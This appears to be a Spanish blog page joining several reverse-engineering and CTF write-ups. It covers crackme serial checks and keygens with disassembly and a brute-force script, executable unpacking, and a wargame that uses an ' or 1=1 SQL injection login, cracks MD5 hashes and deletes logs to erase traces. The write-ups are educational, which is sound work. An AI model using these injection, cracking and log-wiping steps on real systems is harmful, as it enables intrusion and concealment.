0044C534 |. EB 10 JMP SHORT CrackMe_.0044C546
0044C536 |> BA 90C54400 MOV EDX,CrackMe_.0044C590 ; ASCII "Wrong Password"
Chequeo rápido
ABCD EFGHIJK
Clno iguonRn
; 1º dígito serial = C
; 4º dígito serial = o
; 9º dígito serial = o
; 2º dígito serial = l
; 5º dígito serial = espacio
; 11º dígito serial = R
; 8º dígito serial = u
; 10º dígito serial = n
; 3º dígito serial = n
; 6º dígito serial = i
; 12º dígito serial = n
; 7º dígito serial = g
Básicamente chequea la frase «Cool Running» de forma desordenada como se ve justo encima, siendo el password correcto «Clno iguonRn«. Os dejo el código para que lo analicéis.
Nº serie asociado a un nombre
De nuevo con las string references localizamos el código.
0044C648 /. 55 PUSH EBP
0044C649 |. 8BEC MOV EBP,ESP
0044C64B |. 83C4 F8 ADD ESP,-8
0044C64E |. 53 PUSH EBX
0044C64F |. 56 PUSH ESI
0044C650 |. 33C9 XOR ECX,ECX
0044C652 |. 894D F8 MOV [LOCAL.2],ECX
0044C655 |. 8BF0 MOV ESI,EAX
0044C657 |. 33C0 XOR EAX,EAX
0044C659 |. 55 PUSH EBP
0044C65A |. 68 83C74400 PUSH CrackMe_.0044C783
0044C65F |. 64:FF30 PUSH DWORD PTR FS:[EAX]
0044C662 |. 64:8920 MOV DWORD PTR FS:[EAX],ESP
0044C665 |. 33C0 XOR EAX,EAX
0044C667 |. 8945 FC MOV [LOCAL.1],EAX
0044C66A |. A1 80F84400 MOV EAX,DWORD PTR DS:[44F880] ; Eax = Nombre
0044C66F |. E8 0074FBFF CALL CrackMe_.00403A74
0044C674 |. 83F8 06 CMP EAX,6 ; Cmp lengh nombre con 6
0044C677 |. 0F8E F0000000 JLE CrackMe_.0044C76D ; Salta si <= 6
0044C67D |. A1 80F84400 MOV EAX,DWORD PTR DS:[44F880] ; Eax = Nombre
0044C682 |. E8 ED73FBFF CALL CrackMe_.00403A74
0044C687 |. 83F8 14 CMP EAX,14 ; Cmp lengh nombre con 20 (14h)
0044C68A |. 0F8D DD000000 JGE CrackMe_.0044C76D ; salta si >= 20
0044C690 |. A1 80F84400 MOV EAX,DWORD PTR DS:[44F880]
0044C695 |. E8 DA73FBFF CALL CrackMe_.00403A74
0044C69A |. 85C0 TEST EAX,EAX
0044C69C |. 7E 17 JLE SHORT CrackMe_.0044C6B5
0044C69E |. BA 01000000 MOV EDX,1
0044C6A3 |> 8B0D 80F84400 /MOV ECX,DWORD PTR DS:[44F880] ; Bucle in
0044C6A9 |. 0FB64C11 FF |MOVZX ECX,BYTE PTR DS:[ECX+EDX-1]
0044C6AE |. 014D FC |ADD [LOCAL.1],ECX ; Suma dig nombre y guarda en 12FBC4
0044C6B1 |. 42 |INC EDX
0044C6B2 |. 48 |DEC EAX
0044C6B3 |.^ 75 EE \JNZ SHORT CrackMe_.0044C6A3 ; Bucle out
0044C6B5 |> A1 84F84400 MOV EAX,DWORD PTR DS:[44F884] ; Eax = Compañia
0044C6BA |. E8 B573FBFF CALL CrackMe_.00403A74
0044C6BF |. 83F8 02 CMP EAX,2 ; Cmp lengh compañia con 2
0044C6C2 |. 7E 18 JLE SHORT CrackMe_.0044C6DC ; Salta si <= 2
0044C6C4 |. A1 84F84400 MOV EAX,DWORD PTR DS:[44F884] ; Eax = Compañia
0044C6C9 |. E8 A673FBFF CALL CrackMe_.00403A74
0044C6CE |. 83F8 08 CMP EAX,8 ; Cmp lengh compañia con 8
0044C6D1 |. 7D 09 JGE SHORT CrackMe_.0044C6DC ; Salta si >= 8
0044C6D3 |. 8B45 FC MOV EAX,[LOCAL.1] ; Eax = sum nombre
0044C6D6 |. 6BC0 02 IMUL EAX,EAX,2 ; Sum nombre * 2
0044C6D9 |. 8945 FC MOV [LOCAL.1],EAX
0044C6DC |> 68 98C74400 PUSH CrackMe_.0044C798 ; ASCII "I Love Cracking and "
0044C6E1 |. 8D55 F8 LEA EDX,[LOCAL.2]
0044C6E4 |. 8B45 FC MOV EAX,[LOCAL.1]
0044C6E7 |. E8 68B0FBFF CALL CrackMe_.00407754
0044C6EC |. FF75 F8 PUSH [LOCAL.2] ; sum del nombre
0044C6EF |. 68 B8C74400 PUSH CrackMe_.0044C7B8 ; ASCII " Girls ;)"
0044C6F4 |. B8 8CF84400 MOV EAX,CrackMe_.0044F88C
0044C6F9 |. BA 03000000 MOV EDX,3
0044C6FE |. E8 3174FBFF CALL CrackMe_.00403B34 ; Concatena 1º frase + sum nombre + 2ºfrase
0044C703 |. 33C0 XOR EAX,EAX
0044C705 |. 8945 FC MOV [LOCAL.1],EAX
0044C708 |. A1 88F84400 MOV EAX,DWORD PTR DS:[44F888] ; Eax = Serial
0044C70D |. E8 6273FBFF CALL CrackMe_.00403A74
0044C712 |. 8BD8 MOV EBX,EAX
0044C714 |. A1 8CF84400 MOV EAX,DWORD PTR DS:[44F88C]
0044C719 |. E8 5673FBFF CALL CrackMe_.00403A74
0044C71E |. 3BD8 CMP EBX,EAX ; Compara tamaño frase con tamaño serial
0044C720 |. 75 4B JNZ SHORT CrackMe_.0044C76D
0044C722 |. A1 88F84400 MOV EAX,DWORD PTR DS:[44F888]
0044C727 |. E8 4873FBFF CALL CrackMe_.00403A74
0044C72C |. 85C0 TEST EAX,EAX
0044C72E |. 7E 27 JLE SHORT CrackMe_.0044C757
0044C730 |. BA 01000000 MOV EDX,1
0044C735 |> 8B0D 88F84400 /MOV ECX,DWORD PTR DS:[44F888] ; Bucle in -->
0044C73B |. 0FB64C11 FF |MOVZX ECX,BYTE PTR DS:[ECX+EDX-1]
0044C740 |. 034D FC |ADD ECX,[LOCAL.1]
0044C743 |. 8B1D 8CF84400 |MOV EBX,DWORD PTR DS:[44F88C]
0044C749 |. 0FB65C13 FF |MOVZX EBX,BYTE PTR DS:[EBX+EDX-1] ; Compara dígito a dígito nuestro serial
0044C74E |. 2BCB |SUB ECX,EBX ; con la concatenación anterior
0044C750 |. 894D FC |MOV [LOCAL.1],ECX
0044C753 |. 42 |INC EDX
0044C754 |. 48 |DEC EAX
0044C755 |.^ 75 DE \JNZ SHORT CrackMe_.0044C735 ; <-- Bucle out
0044C757 |> 837D FC 00 CMP [LOCAL.1],0
0044C75B |. 75 10 JNZ SHORT CrackMe_.0044C76D ; Salta si algo ha ido mal
0044C75D |. 8B86 14030000 MOV EAX,DWORD PTR DS:[ESI+314]
0044C763 |. BA CCC74400 MOV EDX,CrackMe_.0044C7CC ; "You have found the correct Serial :)"
En resumen
Tamaño del nombre entre 7 y 19.
Tamaño de la compañía entre 3 y 7 aunque no interviene en el serial.
Suma los valores ascii de los dígitos del nombre y lo multiplica por 2.
Concatena «I Love Cracking and » + «sum del nombre» + » Girls ;)».
Checkbox
Para afrontar esta parte del reto vamos a usar una herramienta llamada Interactive Delphi Reconstructoro IDR. En su día la mejor herramienta era DEDE, pero IDR a mi parecer es algo más potente.
Básicamente IDR nos permite sin quebraderos de cabeza localizar el código del botón que comprueba la secuencia de checkboxes correcta. Cargamos el crackme en IDR y dentro de la pestaña «Units (F2)«, abajo del todo hacemos doble click sobre «F Crack» y vemos que nos muestra todos los controles del formulario. El botón que nos interesa se llama «SpeedButton3«.
Si hacemos doble click sobre el nos muestra el código que se muestra a continuación.
Como podéis apreciar, las checkboxes involucradas son la 3, 5, 6, 9, 11, 12, 13, 15, 19 y 20. Solo nos falta saber cuales se corresponden con esa numeración y aquí ya depende de cada uno, yo en su día saqué los números a mano mediante el orden de tabulación, pero ya que tenemos IDR, el nos va a dar la solución de una forma sencilla y rápida.
Vamos a la pestaña «Forms (F5)«, seleccionamos la opción Form y hacemos doble click sobre el formulario.
Veréis que aparece el formulario con todos los recursos, incluso los puedes modificar. Localizar los checkboxes ahora es un juego de niños.
Os dejo un vídeo.
Trackbar
De nuevo, con la ayuda de IDR, localizamos la parte del código y analizamos su funcionamiento. Esta parte es la más divertida ya que requiere de un keygen pero en vez de coger el número de serie de una caja de texto lo obtiene de 5 trackbars como muestra la siguiente imagen.
1) Siendo nuestro serial : 1 2 3 4 5
a b c d e
2) Realiza las operaciones matemáticas:
Round(((Cos(sqrt(b^3+5)) + (-sqrt(a+1)) + Ln(c*3+1) + (-sqrt(d+2)) + ((e*3)/2))+0.37)*1000))
3) Obtenemos un hash resultante de 5415
4) XORea los dígitos de la siguiente manera:
(5)35 xor 86 = B6
(4)34 xor 83 = BD
(1)31 xor 86 = B7
(5)35 xor 8D = B8
De modo que tenemos B6BDB7B8
5) Compara B6BDB7B8 con B5BAB2BA
6) Revertimos el XOR para obtener el hash bueno
B5 xor 86 = 36(6)
BA xor 83 = 33(3)
B2 xor 86 = 34(4)
BA xor 8D = 37(7)
Luego el hash bueno es 6347
7) Debemos hacer fuerza bruta buscando:
Round(((Cos(sqrt(b^3+5)) + (-sqrt(a+1)) + Ln(c*3+1) + (-sqrt(d+2)) + ((e*3)/2))+0.37)*1000)) = 6347
Para obtener los seriales válidos podemos hacer bucles recursivos hasta recorrer las 10^5 opciones posibles. Una forma de hacerlo en VBNet es la siguiente.
Dim tmp As Double
Dim an, bn, cn, dn, en As Integer
For an = 0 To 9
For bn = 0 To 9
For cn = 0 To 9
For dn = 0 To 9
For en = 0 To 9
tmp = Round(((Cos(Sqrt((Pow(bn, 3)) + 5)) + (-Sqrt(an + 1)) + Log(cn * 3 + 1) + (-Sqrt(dn + 2)) + ((en * 3) / 2) + 0.37) * 1000))
txtdebug.Text = "a-b-c-d-e = Hash || " & an & "-" & bn & "-" & cn & "-" & dn & "-" & en & " = " & tmp
If tmp = 6347 Then
ListBox1.Items.Add("Serial: " & an & bn & cn & dn & en)
End If
Application.DoEvents()
Next
Next
Next
Next
Next
Os dejo como siempre el crackme y el keygen en los enlaces.
Introducción Herramientas utilizadas Desempacado con Ollydbg 2 (Videotutorial) Desempacado con Ollydbg 1 (Videotutorial) Análisis de la rutina del número de
Hoy tenemos aquí un crackme del año 2000 empacado y con un algoritmo aunque no muy complicado largo de tracear. Está empacado varias veces, algo poco habitual pero recordemos que es un crackme antiguo. Tras el empacado se encuentra Delphi.
Si lo pasamos por PEiD nos dice que Aspack 2.1, Exeinfo no está muy seguro y RDG packer detector en el escaneo avanzado nos encuentra Aspack, UPX y PE-Pack.
En principio nos enfrentamos a Aspack 2.1, abrimos el crackme con OllyDbg y vemos el típico PUSHAD.
Pulsamos F8 (Step Over) y a continuación click derecho sobre el registro ESP y Follow in DUMP.
Seleccionamos los primeros cuatro bytes útiles del dump y les ponemos un Breakpoint de Hardware, Access y Dword.
Pulsamos F9 y nos para aquí:
Ya tenemos a Aspack contra las cuerdas, pulsamos F8 hasta después del RETN para llegar al OEP (Original Entry Point).
Pero en el supuesto OEP vemos otro PUSHAD por lo que esto no ha terminado. Investigando un poco más vemos que la segunda capa se corresponde con PE-PACK 1.0. La estrategia a seguir es la misma, como ya tenemos el breakpoint puesto pulsamos F9 y nos para aquí:
Pulsamos F8 y nos llega a otro PUSHAD. Esta vez es UPX.
Pulsamos de nuevo F9 y paramos aquí:
Pulsamos F8 y esta vez si llegamos al OEP (4576EC).
A continuación vamos a dumpear el archivo en memoria. Vamos a plugins > OllyDumpEX, pulsamos sobre «Get EIP as OEP» y finalmente sobre «Dump«.
Minimizamos Olly (no cerrar), abrimos el programa ImportREC y seleccionamos el ejecutable «Sweeet1.exe».
Pegamos el OEP original (576EC), le damos a AutoSearch y a continuación a Get Imports.
Finalmente pulsamos Fix Dump y elegimos el ejecutable dumpeado anteriormente. Esto nos genera un ejecutable dumpeado que es el ejecutable válido.
Ahora PEiD nos dice que estamos tratando con un crackme hecho en Delphi.
Hemos pasado por tres capas de compresión casi idénticas, vamos a analizarlas.
El algoritmo
Cuando abrimos el crackme nos fijamos en que genera una key. Esta key se genera en función del disco duro desde el que se ejecuta.
Como la secuencia de generación del serial válido es larga os pongo lo más importante muy resumido y con ejemplos como siempre.
El serial es del siguiente tipo:
Serial = 1ªParte-2ªParte-3ªParte
Serial = 0000XXXXX-SerialCalculado-xxxx000Z8
Comprobación del tamaño del nombre
----------------------------------
........
00456EAA E8 01CCFAFF CALL sweeet1_Fix_dump_rebuilded.00403AB0
00456EAF 83F8 04 CMP EAX,4 ------------------------------------------------; Nombre >=4
00456EB2 7D 13 JGE SHORT sweeet1_Fix_dump_rebuilded.00456EC7
00456EB4 A1 08954500 MOV EAX,DWORD PTR DS:[sweeet1_Fix_dump_rebuilded.459508]
00456EB9 8B00 MOV EAX,DWORD PTR DS:[EAX]
00456EBB E8 0869FEFF CALL sweeet1_Fix_dump_rebuilded.0043D7C8
00456EC0 BB 01000000 MOV EBX,1
00456EC5 EB 15 JMP SHORT sweeet1_Fix_dump_rebuilded.00456EDC
00456EC7 83FB 25 CMP EBX,25
00456ECA 7D 0E JGE SHORT sweeet1_Fix_dump_rebuilded.00456EDA
00456ECC 83C3 32 ADD EBX,32
00456ECF 83C3 1E ADD EBX,1E
00456ED2 83EB 4F SUB EBX,4F
00456ED5 83FB 25 CMP EBX,25 -----------------------------------------------; Nombre <=25
00456ED8 ^ 7C F2 JL SHORT sweeet1_Fix_dump_rebuilded.00456ECC
00456EDA 33DB XOR EBX,EBX
00456EDC 33C0 XOR EAX,EAX
........
1ºBucle - Nuestro nombre (A)
----------------------------
........
00456F55 BE 1B000000 MOV ESI,1B -------------------------------; ESI = 1B
00456F5A EB 21 JMP SHORT sweeet1_dump_.00456F7D
00456F5C 8D55 D4 LEA EDX,[EBP-2C]
00456F5F A1 34A84500 MOV EAX,DWORD PTR DS:[sweeet1_dump_.45A8
00456F64 8B80 C4020000 MOV EAX,DWORD PTR DS:[EAX+2C4]
00456F6A E8 B5DAFCFF CALL sweeet1_dump_.00424A24
00456F6F 8B45 D4 MOV EAX,DWORD PTR SS:[EBP-2C]
00456F72 0FB64418 FF MOVZX EAX,BYTE PTR DS:[EBX+EAX-1]---------; Coje digito
00456F77 03F0 ADD ESI,EAX ------------------------------; digito + ESI
00456F79 43 INC EBX
00456F7A 0FAFF3 IMUL ESI,EBX ----------------------------; multiplica por i (bucle)
00456F7D 8D55 D4 LEA EDX,[EBP-2C]
........
2ºBucle - La key (B)
--------------------
........
00456F9C |. BF 1A000000 MOV EDI,1A -------------------------;EDI = 1A
00456FA1 |. BB 01000000 MOV EBX,1
00456FA6 |. EB 1E JMP SHORT sweeet1_.00456FC6
00456FA8 |> 8D55 D4 /LEA EDX,[LOCAL.11]
00456FAB |. A1 34A84500 |MOV EAX,DWORD PTR DS:[45A834]
00456FB0 |. 8B80 D0020000 |MOV EAX,DWORD PTR DS:[EAX+2D0]
00456FB6 |. E8 69DAFCFF |CALL sweeet1_.00424A24
00456FBB |. 8B45 D4 |MOV EAX,[LOCAL.11]
00456FBE |. 0FB64418 FF |MOVZX EAX,BYTE PTR DS:[EAX+EBX-1]--;Coje dígito
00456FC3 |. 03F8 |ADD EDI,EAX -----------------------;Suma dígito a dígito
00456FC5 |. 43 |INC EBX
00456FC6 |> 8D55 D4 LEA EDX,[LOCAL.11]
00456FC9 |. A1 34A84500 |MOV EAX,DWORD PTR DS:[45A834]
00456FCE |. 8B80 D0020000 |MOV EAX,DWORD PTR DS:[EAX+2D0]
00456FD4 |. E8 4BDAFCFF |CALL sweeet1_.00424A24
00456FD9 |. 8B45 D4 |MOV EAX,[LOCAL.11]
00456FDC |. E8 CFCAFAFF |CALL sweeet1_.00403AB0
00456FE1 |. 3BD8 |CMP EBX,EAX
00456FE3 |.^ 7C C3 \JL SHORT sweeet1_.00456FA8
........
Generación del serial central
-----------------------------
........
00456FE5 |. B9 01000000 MOV ECX,1
00456FEA |. BB 01000000 MOV EBX,1
00456FEF |. 8BC7 MOV EAX,EDI
00456FF1 |. F7EE IMUL ESI ----------; C = A * B
00456FF3 |. 99 CDQ
........
00456FFD |. 2345 E8 AND EAX,[LOCAL.6]--; D = A and C
00457000 |. 2355 EC AND EDX,[LOCAL.5]
00457003 |. 8945 E8 MOV [LOCAL.6],EAX
00457006 |. 8955 EC MOV [LOCAL.5],EDX
........
00457032 |. 8BC7 MOV EAX,EDI
00457034 |. 99 CDQ
00457035 |. 0345 E8 ADD EAX,[LOCAL.6]--; E = D + B
00457038 |. 1355 EC ADC EDX,[LOCAL.5]
0045703B |. 8945 E0 MOV [LOCAL.8],EAX
0045703E |. 8955 E4 MOV [LOCAL.7],EDX
........
00405732 8B4424 10 MOV EAX,DWORD PTR SS:[ESP+10]
00405736 F72424 MUL DWORD PTR SS:[ESP]
00405739 8BC8 MOV ECX,EAX
0040573B 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4]
0040573F F76424 0C MUL DWORD PTR SS:[ESP+C]------; F = B * D
00405743 03C8 ADD ECX,EAX
00405745 8B0424 MOV EAX,DWORD PTR SS:[ESP]
00405748 F76424 0C MUL DWORD PTR SS:[ESP+C]------; G = A * F
........
0045705E |. 0B0424 OR EAX,DWORD PTR SS:[ESP]-----; Serial central = G or A
........
00457077 |. E8 FC07FBFF CALL sweeet1_.00407878
0045707C |. 8B45 F8 MOV EAX,[LOCAL.2]-------------; EAX = Serial central
........
004570D1 |. E8 A207FBFF CALL sweeet1_.00407878
004570D6 |. 8B45 D0 MOV EAX,[LOCAL.12]
004570D9 |. E8 D2C9FAFF CALL sweeet1_.00403AB0--------; Obtiene longitud del serial central en hexa
004570DE |. 8BD8 MOV EBX,EAX
........
004570D1 |. E8 A207FBFF CALL sweeet1_.00407878--------;*Nota
*Nota:
A partir de aquí genera la primera y tercera parte del serial de la siguiente manera:
Serial = 1ªParte-2ªParte-3ªParte
Serial = 0000XXXXX-SerialCalculado-xxxx000Z8
1ºParte = 3ºdigSerial+1ºdigSerial+2ºdigSerial+3ºdigSerial+4ºdigNombreMayu+2ºdigNombreMayu+5ºdigNombreMayu+1ºdigNombreMayu+3ºdigNombreMayu
3ºParte = 3ºdigNombreMin+1ºdigNombreMin+4ºdigNombreMin+2ºdigNombreMin+Tamaño Serial_2ªParte en Hex y de tres dígitos+Z8
Ejemplo:
Nombre: deurus
Key: C0C0A000
Serial: 6906REUDU-906297047918-udre00CZ8
1) A = 23A2A (Con nuestro nombre empezando por 1B se lo suma a ESI y se lo multiplica por i (la que toque cada vez))
2) B = 1A1 (Con nuestra Key empezando por 1A va sumando los digitos)
3) C = B * A = 3A0BE6A
4) D = A and C = 3A2A
5) E = D + B = 3BCB (Offset 457035)
6) F = B * D = 5EBE6A (Offset 48704A)
7) G = A * F = D303834164
8) Serial = G or A (Serial = D303834164 or 23A2A = D303837B6E (906297047918))
A tener en cuenta:
1ªParte del serial siempre mayúsculas.
2ªParte siempre numérico. Usa el registro de 64 bits (Qword) con signo.**Nota
La solución que he encontrado yo, es convertir el código brainfuck a algo más amigable y depurarlo hasta encontrar la solución. La conversión la he realizado con VBBrainFNET y luego la depuración con Visual Studio. El crackme te pide una clave de cuatro cifras para darte la solución, pero si no quieres volverte loco puedes amañar los bucles para encontrar la solución.
Hace unos años cuando empecé a trastear con Android y animado por mi afición a la Ingeniería Inversa, decidí realizar una serie de crackmes. Los dos primeros pasaron algo desapercibidos, pero el Crackme nº3 tuvo una gran repercusión en el mundillo y, aunque no fue el primer crackme para Android ni mucho menos, si que fue uno de los más estudiados. Todos ellos fueron publicados a través de crackmes.de y el nº3 en cuestión el 6 de Noviembre de 2010. Os dejo una lista de unas cuantas webs donde aparece analizado para que veáis la repercusión que a mi parecer tuvo.
Warning: This challenge is still active and therefore should not be resolved using this information. Aviso: Este reto sigue en activo y por lo tanto no se debería resolver utilizando esta información.
Realistic Challenge 2: You have heard about people being targeted by a new religion called Egitology. Another hacker infiltrated the group and discovered that the list of people they target is stored on the site but he doesn’t know where.
Break into the site, find the file and remove it. Also leave no evidence that you was ever there so they wont realise until its too late!
El enunciado del reto nos dice que tenemos que localizar la lista de objetivos y eliminarla sin dejar evidencias.
Analizando la seguridad de la víctima
Echamos un vistazo y vemos que tienen un Login para usuarios registrados, este será nuestro primer testeo.
Lo primero que se no viene a la cabeza con un formulario de este tipo es Inyección SQL, probamos varios métodos y tenemos suerte.
User: admin
Pass: ‘ or 1=1–‘;
Vemos que hemos entrado como admin y enseguida nos llama la atención «Back up Database«. Pulsamos a ver que pasa.
Obtenemos el hash de las claves de los usuarios Admin y SuperAdmin. Por suerte son hashes MD5. Obtenemos la clave de SuperAdmin y nos loguemos.
Solo nos queda borrar la lista de objetivos y nuestras huellas. Para ello borramos los siguientes archivos y reto superado.
Lista de objetivos: root/misc/targets
Logs: root/images/logs
Se nos entrega un html con un juego que consiste en hacer clic en un botón tantas veces como podamos para ganar al juego. Acompañando al html tenemos un código javascript ofuscado aparentemente con Obfuscator.io
El código javascript ofuscado tiene el siguiente aspecto.
Deofuscado el código con la web Obfuscator.io llegamos a interpretar la estructura aunque sigue siendo un galimatías en gran parte. Aún así, si nos fijamos al final encontramos una parte interesante con una clave encriptada cuya desencriptación depende de una comparación (línea 13 resaltada). Invirtiendo esa comparación engañamos al código y obtenemos la flag.
Toda esta aventura comienza con un archivo llamado pretty_raw, sin extensión. Porque sí. Porque las extensiones son una invención heredada de CP/M, precursor de MS-DOS, que Windows terminó de popularizar. Porque son innecesarias. Y porque echo de menos cuando los archivos se reconocían por sus permisos… y no por cómo se llamaban.
Como iba diciendo, todo esto comienza mediante el análisis de pretty_raw. Mirando debajo de la falda con un editor hexadecimal encontramos unos cuantos bytes aleatorios hasta dar con una cabecera PNG.
Si atendemos a la captura, justo antes de la cabecera PNG tenemos 116.254 bytes (0x1C61E). Tomad nota que este número será relevante más adelante.
Extraemos el PNG, lo visualizamos y lo pasamos por todas las herramientas habidas y por haber. Nada funciona. Volvemos a visualizarlo con atención y vemos que hace referencia a un archivo llamado flag.png con unas dimensiones que no coinciden con la extraída.
Toca centrarse y pensar en que camino tomar. Hemos gastado tiempo con el PNG extraído y quizá lo mejor sea centrarse en los bytes que inicialmente hemos descartado. En concreto se trata de un bloque de 116.254 bytes, pero espera, 1570×74=116.180 bytes. ¡Mierda!, no coincide exactamente con los bytes extraídos. Bueno, da igual. Si suponemos que el PNG que buscamos no tiene compresión y que cada pixel ocupa un byte (escala de grises y 8 bits), su tamaño depende únicamente de la geometría y de cómo se almacenan las filas en memoria. Vamos a procesarlo con Python para salir de dudas.
import numpy as np
from PIL import Image
INPUT_FILE = "pretty_raw"
OUTPUT_FILE = "pretty_raw_flag.png"
WIDTH = 1570 # ¿estás seguro?
HEIGHT = 74
DEPTH = 8 # bits
# Leer archivo como RAW
with open(INPUT_FILE, "rb") as f:
raw = f.read()
expected_size = WIDTH * HEIGHT
if len(raw) < expected_size:
raise ValueError("El archivo no tiene suficientes datos")
# Convertir a array numpy (grayscale 8 bits)
img = np.frombuffer(raw[:expected_size], dtype=np.uint8)
img = img.reshape((HEIGHT, WIDTH))
# Crear imagen
image = Image.fromarray(img, mode="L")
image.save(OUTPUT_FILE)
print(f"Imagen generada correctamente: {OUTPUT_FILE}")
El script nos devuelve un PNG válido pero con las letras torcidas. Tras darle vueltas me di cuenta de que si en el script usamos como WIDTH=1571 en lugar de 1570, la imagen resultante es correcta y tiene todo el sentido del mundo ya que 1571×74=116.254, que son exactamente los bytes que se encuentran antes del png señuelo.
Aunque el ancho visible de la imagen es de 1570 píxeles, cada fila ocupa realmente 1571 bytes. Ese byte adicional actúa como relleno (padding) y forma parte del stride o bytes por fila. Ignorar este detalle lleva a un desplazamiento erróneo acumulativo y por eso se ve la imagen torcida. En este caso concreto da igual ya que el texto se aprecia, pero si el reto hubiera sido más exigente no se vería nada.